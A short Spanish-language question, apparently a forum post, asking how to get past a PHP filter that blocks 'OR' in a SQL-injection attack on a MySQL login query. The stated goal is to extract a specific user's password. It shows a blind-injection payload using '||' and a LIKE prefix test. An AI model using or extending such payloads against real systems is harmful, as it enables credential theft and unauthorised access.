Tengo la siguiente consulta de MySQL susceptible a una inyección y necesito extraer la contraseña de un usuario determinado:
SELECT * FROM users WHERE login='$login' and password='$password'
Sin embargo, a partir de la inyección, puedo ver que antes de que se publique la solicitud, los campos $login
y $password
se filtran. En particular, los scripts PHP detectan el uso de "OR" en la siguiente inyección:
login => ' || ''='
password => ' || login='bobby' && passwORd LIKE 'A%'
SELECT * FROM users WHERE login='' || ''='' && password='' || login='bobby' && passwORd LIKE 'A%''
Se detecta el "OR" que aparece en $password
y la inyección falla.
¿Hay alguna forma conocida de evitar esto?